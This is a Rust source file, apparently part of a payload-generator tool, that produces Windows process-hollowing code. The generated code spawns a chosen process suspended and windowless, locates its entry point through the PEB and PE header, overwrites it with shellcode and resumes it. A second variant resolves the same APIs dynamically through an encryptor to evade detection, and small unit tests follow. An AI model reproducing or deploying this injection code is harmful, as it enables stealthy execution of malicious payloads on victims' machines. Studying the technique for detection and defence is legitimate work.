use super::super::{process_helpers, windows_types};
 use super::common;
 
 pub fn process_hollowing_import() -> String {
     process_helpers::process_creation_imports().to_string()
 }
 
 pub fn process_hollowing_const() -> String {
     format!(
         r#"
 {}
 
 {}
 
 {}
 
 #[link(name = "kernel32")]
 extern "system" {{
 {}
 
 {}
 }}
 
 #[link(name = "ntdll")]
 extern "system" {{
 {}
 }}
 "#,
         common::COMMON_PROCESS_CONSTANTS,
         windows_types::process_structures(),
         common::process_basic_information_struct(),
         common::common_process_injection_externs(),
         common::common_process_hollowing_externs(),
         common::common_ntdll_externs(),
     )
 }
 
 pub fn process_hollowing_init() -> String {
     format!(
         r#"
 fn create_process(process_name: &str) -> ProcessInformation {{
     {}
 
     {}
 
     {}
 
     unsafe {{
         let result = CreateProcessW(
             ptr::null(),
             command_line.as_mut_ptr(),
             ptr::null(),
             ptr::null(),
             0,
             CREATE_SUSPENDED | CREATE_NO_WINDOW,
             ptr::null(),
             ptr::null(),
             &si,
             &mut pi,
         );
 
         if result == 0 {{
             panic!("failed");
         }}
     }}
 
     pi
 }}
 "#,
         windows_types::init_startup_info_w(),
         windows_types::init_process_information(),
         process_helpers::command_line_conversion("process_name")
     )
 }
 
 pub fn process_hollowing_process() -> String {
     r#"
     let process = create_process("__PROCESS__");
     let p_handle = process.process;
     let t_handle = process.thread;
 
     unsafe {
         let mut basic_info = ProcessBasicInformation {
             reserved1: 0,
             peb_address: 0,
             reserved2: 0,
             reserved3: 0,
             unique_pid: 0,
             more_reserved: 0,
         };
         let mut unused_tmp_value: u32 = 0;
 
         // Get Process Environment Block (PEB)
         let r = ZwQueryInformationProcess(
             p_handle,
             0,
             &mut basic_info,
             (std::mem::size_of::<usize>() * 6) as u32,
             &mut unused_tmp_value,
         );
 
         if r != 0 {
             panic!("failed");
         }
 
         // Query PEB for ImageBaseAddress
         let image_base_address = basic_info.peb_address + 0x10;
 
         // Get entry point of the actual process executable
         // This one is a bit complicated, because this address differs for each process (due to ASLR)
         // From the PEB (address we got in last call), we have to do the following:
         // 1. Read executable address from first 8 bytes of PEB and read data chunk for further processing
         // 2. Read the field 'e_lfanew', 4 bytes at offset 0x3C from executable address to get the offset for the PE header
         // 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint RVA offset
         // 4. Read the value at the RVA offset address to get the offset of the executable entrypoint from the executable address
         // 5. Get the absolute address of the entrypoint by adding this value to the base executable address
 
         // 1. Read executable address from first 8 bytes of PEB
         let mut proc_addr = [0u8; 8];
         let mut read: usize = 0;
 
         let r = ReadProcessMemory(
             p_handle,
             image_base_address,
             proc_addr.as_mut_ptr(),
             proc_addr.len(),
             &mut read,
         );
 
         if r == 0 {
             panic!("failed");
         }
 
         let exe_base_addr = u64::from_le_bytes(proc_addr);
 
         // Read PE header
         let mut pe_buffer = [0u8; 0x200];
         let r = ReadProcessMemory(
             p_handle,
             exe_base_addr as usize,
             pe_buffer.as_mut_ptr(),
             pe_buffer.len(),
             &mut read,
         );
 
         if r == 0 {
             panic!("failed");
         }
 
         // 2. Read the field 'e_lfanew', 4 bytes at offset 0x3C to get the offset for the PE header
         let lfanew = u32::from_le_bytes([
             pe_buffer[0x3c],
             pe_buffer[0x3c + 1],
             pe_buffer[0x3c + 2],
             pe_buffer[0x3c + 3],
         ]);
 
         // 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint RVA offset
         let rva_offset = (lfanew + 0x28) as usize;
 
         // 4. Read the 4 bytes at the RVA offset to get the offset of the executable entrypoint
         let rva = u32::from_le_bytes([
             pe_buffer[rva_offset],
             pe_buffer[rva_offset + 1],
             pe_buffer[rva_offset + 2],
             pe_buffer[rva_offset + 3],
         ]);
 
         // 5. Get the absolute address of the entrypoint
         let entrypoint_address = exe_base_addr + rva as u64;
 
         // Overwrite process memory at entrypoint address
         let r = WriteProcessMemory(
             p_handle,
             entrypoint_address as usize as *const std::ffi::c_void,
             shellcode.as_ptr() as *const std::ffi::c_void,
             shellcode.len(),
             ptr::null_mut(),
         );
 
         if r == 0 {
             panic!("failed");
         }
 
         // Trigger shellcode execution
         let r = ResumeThread(t_handle);
         if r == 0xFFFFFFFF {
             panic!("failed");
         }
     }
 "#
     .to_string()
 }
 
 fn generate_process_hollowing_template(target_process: &str, function_name: &str) -> String {
     let template = super::common::TechniqueTemplateBuilder::new()
         .with_import(process_hollowing_import())
         .with_const(process_hollowing_const())
         .with_init(process_hollowing_init())
         .with_process(process_hollowing_process())
         .build(function_name);
 
     template.replace("__PROCESS__", target_process)
 }
 
 pub fn generate_process_hollowing_code(target_process: &str, function_name: &str) -> String {
     generate_process_hollowing_template(target_process, function_name)
 }
 
 pub struct ProcessHollowingGenerator;
 
 impl super::trait_generator::TechniqueGenerator for ProcessHollowingGenerator {
     fn generate_code(&self, process: &str, function_name: &str) -> String {
         generate_process_hollowing_code(process, function_name)
     }
 
     fn generate_code_with_dynamic_resolver(
         &self,
         process: &str,
         function_name: &str,
         encryption_type: &str,
         encryptor: &dyn crate::encryption::Encryptor,
     ) -> String {
         generate_process_hollowing_code_with_dynamic_resolver(
             process,
             function_name,
             encryption_type,
             encryptor,
         )
     }
 
     fn requires_process(&self) -> bool {
         true
     }
 
     fn name(&self) -> &'static str {
         "ProcessHollowing"
     }
 }
 
 fn generate_process_hollowing_code_with_dynamic_resolver(
     target_process: &str,
     function_name: &str,
     _encryption_type: &str,
     encryptor: &dyn crate::encryption::Encryptor,
 ) -> String {
     use super::dynamic_common::*;
 
     let create_process_w = create_process_w_resolver(encryptor).unwrap();
     let read_process_memory = read_process_memory_resolver(encryptor).unwrap();
     let write_process_memory = write_process_memory_resolver(encryptor).unwrap();
     let zw_query = zw_query_information_process_resolver(encryptor).unwrap();
     let resume_thread = resume_thread_resolver(encryptor).unwrap();
 
     let init_with_resolvers = format!(
         r#"
 {}
 {}
 {}
 {}
 {}"#,
         create_process_w.resolver_code,
         read_process_memory.resolver_code,
         write_process_memory.resolver_code,
         zw_query.resolver_code,
         resume_thread.resolver_code,
     );
 
     let casts = format!(
         r#"
 {}
 {}
 {}
 {}
 {}"#,
         create_process_w.cast_code,
         read_process_memory.cast_code,
         write_process_memory.cast_code,
         zw_query.cast_code,
         resume_thread.cast_code,
     );
 
     let process_code = process_hollowing_process()
         .replace("CreateProcessW(", "create_process_w(")
         .replace("ReadProcessMemory(", "read_process_memory(")
         .replace("WriteProcessMemory(", "write_process_memory(")
         .replace(
             "ZwQueryInformationProcess(",
             "zw_query_information_process(",
         )
         .replace("ResumeThread(", "resume_thread(")
         // Add casts for ZwQueryInformationProcess arguments
         .replace(
             "&mut basic_info,",
             "&mut basic_info as *mut _ as *mut std::ffi::c_void,",
         )
         // Add casts for ReadProcessMemory arguments
         .replace(
             "image_base_address,",
             "image_base_address as *const std::ffi::c_void,",
         )
         .replace(
             "exe_base_addr as usize,",
             "exe_base_addr as *const std::ffi::c_void,",
         )
         .replace(
             "proc_addr.as_mut_ptr(),",
             "proc_addr.as_mut_ptr() as *mut std::ffi::c_void,",
         )
         .replace(
             "pe_buffer.as_mut_ptr(),",
             "pe_buffer.as_mut_ptr() as *mut std::ffi::c_void,",
         )
         // Add casts for WriteProcessMemory arguments
         .replace(
             "entrypoint_address as usize,",
             "entrypoint_address as *mut std::ffi::c_void,",
         )
         .replace(
             "shellcode.as_ptr(),",
             "shellcode.as_ptr() as *const std::ffi::c_void,",
         )
         .replace(
             "            0,\n        );",
             "            ptr::null_mut(),\n        );",
         )
         // Fix mut warning
         .replace("let mut si = StartupInfoW {", "let si = StartupInfoW {");
 
     let full_process = format!(
         r#"
     unsafe {{
         {}
         {}
         {}
     }}
 "#,
         init_with_resolvers,
         casts,
         process_code
             .trim_start_matches("    unsafe {")
             .trim_end_matches("}")
             .trim()
     );
 
     let template = super::common::TechniqueTemplateBuilder::new()
         .with_import(process_hollowing_import())
         .with_const(process_hollowing_const())
         .with_init(process_hollowing_init())
         .with_process(full_process)
         .build(function_name);
 
     template.replace("__PROCESS__", target_process)
 }
 
 #[cfg(test)]
 mod tests {
     use super::*;
 
     #[test]
     fn test_generate_process_hollowing_template_replaces_process_placeholder() {
         let template = generate_process_hollowing_template("notepad.exe", "TestFunc");
         assert!(template.contains("notepad.exe"));
         assert!(!template.contains("__PROCESS__"));
     }
 
     #[test]
     fn test_generate_process_hollowing_template_contains_all_parts() {
         let template = generate_process_hollowing_template("calc.exe", "MyFunction");
         assert!(template.contains("use std::ptr"));
         assert!(template.contains("CREATE_SUSPENDED"));
         assert!(template.contains("fn create_process"));
         assert!(template.contains("fn MyFunction"));
         assert!(template.contains("ZwQueryInformationProcess"));
     }
 
     #[test]
     fn test_generate_process_hollowing_code() {
         let code = generate_process_hollowing_code("cmd.exe", "MyRandomFunc");
         assert!(code.contains("cmd.exe"));
         assert!(code.contains("fn MyRandomFunc"));
         assert!(!code.contains("__PROCESS__"));
     }
 }

© 2024 - 2026 djnn, inc • generated with stagit